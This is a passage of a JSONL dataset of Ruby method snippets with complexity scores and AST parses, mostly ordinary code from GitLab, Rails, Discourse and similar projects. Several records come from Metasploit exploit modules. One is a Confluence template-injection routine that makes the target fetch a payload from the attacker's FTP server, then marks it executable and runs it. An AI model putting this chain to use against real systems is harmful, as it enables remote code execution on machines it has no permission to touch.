\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_extension_id\",{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"b48d1733-8a70-4917-be2c-ef9ca537c0ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/users_finder.rb","start_line":145,"raw_source":"def by_external_identity(users)\n    return users unless params[:extern_uid] && params[:provider]\n\n    users.by_provider_and_extern_uid(params[:provider], params[:extern_uid])\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"by_external_identity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extern_uid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"by_provider_and_extern_uid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extern_uid\"]}]}]}]}]}","id":"1187be71-8ece-469b-a690-0e5f3475758f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/confluence_widget_connector.rb","start_line":399,"raw_source":"def exploit_as_linux\n    res_code, tmp_path = get_tmp_path\n\n    unless res_code == 0\n      fail_with(Failure::Unknown, 'Unable to get the temp path.')\n    end\n\n    @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))\n    @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))\n    new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))\n    register_files_for_cleanup(@fname, new_fname)\n\n    print_status(\"Attempting to upload #{@fname}\")\n    inject_template(\"ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm\")\n\n    @command = \"chmod +x #{@fname}\"\n    inject_template(\"ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm\")\n\n    print_status(\"Attempting to copy payload to #{new_fname}\")\n    get_dup_file_code(@fname, new_fname)\n\n    print_status(\"Attempting to execute #{new_fname}\")\n    @command = new_fname\n    inject_template(\"ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm\", 5)\n  end","complexity_score":48.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_as_linux\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_code\"]},{\"type\":\"lvasgn\",\"children\":[\"tmp_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get_tmp_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_code\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to get the temp path.\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@b64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"platform\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fname\",{\"type\":\"send\",\"children\":[null,\"normalize_payload_fname\",{\"type\":\"lvar\",\"children\":[\"tmp_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_fname\",{\"type\":\"send\",\"children\":[null,\"normalize_payload_fname\",{\"type\":\"lvar\",\"children\":[\"tmp_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"ivar\",\"children\":[\"@fname\"]},{\"type\":\"lvar\",\"children\":[\"new_fname\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to upload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"inject_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ftp://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\"upload.vm\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod +x \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"inject_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ftp://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\"exec.vm\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to copy payload to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_fname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get_dup_file_code\",{\"type\":\"ivar\",\"children\":[\"@fname\"]},{\"type\":\"lvar\",\"children\":[\"new_fname\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to execute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_fname\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@command\",{\"type\":\"lvar\",\"children\":[\"new_fname\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ftp://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\"exec.vm\"]}]},{\"type\":\"int\",\"children\":[5]}]}]}]}","id":"2f665702-4714-40b3-92d8-0e97e399dc07"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/range_ext_test.rb","start_line":204,"raw_source":"def test_should_not_compare_range_with_endless_range\n    assert_not((1..) === (0..4))\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_compare_range_with_endless_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},\"===\",{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}","id":"2dde35b0-830d-4ae9-9306-be6386ffecc0"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_setting_extension.rb","start_line":256,"raw_source":"def theme_site_settings_json_uncached(theme_id)\n    begin\n      # There are a few legit scenarios where the current\n      # theme ID may be blank, such as safe mode. In this\n      # case it will be better to return default site setting\n      # values rather than to cause random/undefined behaviour\n      # in the UI.\n      if theme_id.blank?\n        MultiJson.dump(ThemeSiteSetting.generate_defaults_map)\n      else\n        MultiJson.dump(theme_site_settings[theme_id])\n      end\n    rescue => err\n      # If something goes wrong here we really need to be aware of it in tests.\n      raise err if Rails.env.test?\n\n      Rails.logger.error(\n        \"Error while generating theme_site_settings_json_uncached for theme ID #{theme_id}: #{err.message}\",\n      )\n      nil\n    end\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"theme_site_settings_json_uncached\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_id\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultiJson\"]},\"dump\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeSiteSetting\"]},\"generate_defaults_map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultiJson\"]},\"dump\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_site_settings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"err\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error while generating theme_site_settings_json_uncached for theme ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}","id":"5be2ff1b-ec02-4353-a99a-fe59967e7431"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/work_package_list_to_pdf.rb","start_line":104,"raw_source":"def setup_page!\n    self.pdf = get_pdf\n\n    configure_page_size!(wants_report? ? :portrait : :landscape)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_page!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pdf=\",{\"type\":\"send\",\"children\":[null,\"get_pdf\"]}]},{\"type\":\"send\",\"children\":[null,\"configure_page_size!\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wants_report?\"]},{\"type\":\"sym\",\"children\":[\"portrait\"]},{\"type\":\"sym\",\"children\":[\"landscape\"]}]}]}]}]}","id":"fb844384-f441-4fcb-82a6-fff3485553e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb","start_line":143,"raw_source":"def on_request_uri(cli, request)\n    if @zip && request.uri =~ /\\.zip$/\n      print_status(\"Sending the ZIP archive...\")\n      send_response(cli, @zip, { 'Content-Type' => 'application/zip' })\n      return\n    end\n\n    print_status(\"Sending not found...\")\n    send_not_found(cli)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@zip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.zip$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending the ZIP archive...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@zip\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/zip\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending not found...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"bdd51d43-9f33-4f75-b359-c66656c15d68"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":247,"raw_source":"def parameterize_args(args)\n                params = {}\n                @arg_size.times { |i|\n                  key = @required_parts[i]\n                  value = args[i].to_param\n                  yield key if value.nil? || value.empty?\n                  params[key] = value\n                }\n                params\n              end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parameterize_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@arg_size\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@required_parts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"to_param\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"439a5ef1-fef8-4a17-9b16-9b4f24c0bab3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ndmp_socket.rb","start_line":119,"raw_source":"def prepare_and_write_ndmp_msg(msg, all_but_last_char=false, times=1, flags=0)\n    msg.header.sequence_num = @next_sequence_num\n    @next_sequence_num += 1\n    msg.header.timestamp = Time.now.to_i\n\n    frag = msg.header.to_xdr + msg.body\n    write_ndmp_frag(frag, all_but_last_char, times, flags)\n  end","complexity_score":18.55,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_and_write_ndmp_msg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"optarg\",\"children\":[\"all_but_last_char\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"times\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"optarg\",\"children\":[\"flags\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"header\"]},\"sequence_num=\",{\"type\":\"ivar\",\"children\":[\"@next_sequence_num\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@next_sequence_num\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"header\"]},\"timestamp=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"frag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"header\"]},\"to_xdr\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_ndmp_frag\",{\"type\":\"lvar\",\"children\":[\"frag\"]},{\"type\":\"lvar\",\"children\":[\"all_but_last_char\"]},{\"type\":\"lvar\",\"children\":[\"times\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]}]}]}]}","id":"338f8c4c-4949-42b8-9a63-77cbef9f8d0e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":175,"raw_source":"def started_worker_record\n    reload_worker_record\n    @worker.sd_notify_started if systemd_worker?\n    @worker.status         = \"started\"\n    @worker.last_heartbeat = Time.now.utc\n    @worker.update_spid\n    @worker.save\n    $log.info(\"#{self.class.name} started. ID [#{@worker.id}], PID [#{@worker.pid}], GUID [#{@worker.guid}], Zone [#{MiqServer.my_zone}], Role [#{MiqServer.my_role}]\")\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"started_worker_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reload_worker_record\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"systemd_worker?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"sd_notify_started\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"status=\",{\"type\":\"str\",\"children\":[\"started\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"last_heartbeat=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"update_spid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" started. ID [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"], PID [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\"], GUID [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"guid\"]}]},{\"type\":\"str\",\"children\":[\"], Zone [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_zone\"]}]},{\"type\":\"str\",\"children\":[\"], Role [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_role\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}","id":"dcdfde41-09eb-45c8-bae9-5b0d204b4d7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/helpers/milestones.rb","start_line":28,"raw_source":"def current_milestone\n        @current_milestone ||=\n          File.read(File.expand_path('../../VERSION', __dir__))\n          .gsub(/^(\\d+\\.\\d+).*$/, '\\1')\n          .chomp\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"current_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_milestone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../VERSION\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\d+\\\\.\\\\d+).*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]},\"chomp\"]}]}]}","id":"69978b50-aeb8-459e-85ae-3626b821b4e6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/account_policy.rb","start_line":48,"raw_source":"def remove_avatar?\n    role.can?(:manage_users, :manage_reports) && role.overrides?(record.user_role)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_avatar?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_users\"]},{\"type\":\"sym\",\"children\":[\"manage_reports\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"overrides?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"user_role\"]}]}]}]}","id":"25e2f261-d933-4389-b392-732d91f74df9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_custom_field_project_mappings/bulk_update_service.rb","start_line":116,"raw_source":"def create_mappings(custom_field_ids)\n      @project.project_custom_field_project_mappings\n        .insert_all(\n          custom_field_ids.map { |id| { custom_field_id: id } },\n          unique_by: %i[project_id custom_field_id]\n        )\n\n      reset_associations\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_mappings\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"project_custom_field_project_mappings\"]},\"insert_all\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"custom_field_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reset_associations\"]}]}]}","id":"6eac67e4-e64c-4366-a703-023e59ad121d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ansible/runner.rb","start_line":377,"raw_source":"def create_cmdline_file(dir, cmd_line)\n        return if cmd_line.blank?\n\n        cmd_line_file = File.join(env_dir(dir), \"cmdline\")\n        cmd_string    = AwesomeSpawn.build_command_line(nil, cmd_line).lstrip\n\n        File.write(cmd_line_file, cmd_string)\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_cmdline_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"cmd_line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_line\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"cmd_line_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"env_dir\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"cmdline\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AwesomeSpawn\"]},\"build_command_line\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"cmd_line\"]}]},\"lstrip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"cmd_line_file\"]},{\"type\":\"lvar\",\"children\":[\"cmd_string\"]}]}]}]}","id":"51d9e523-0890-4b91-a1d8-e4e36a57a33a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report_result.rb","start_line":60,"raw_source":"def report_or_miq_report\n    report || miq_report\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_or_miq_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},{\"type\":\"send\",\"children\":[null,\"miq_report\"]}]}]}","id":"a10ab43d-c9f5-470e-a9b1-14269b2b0fad"}
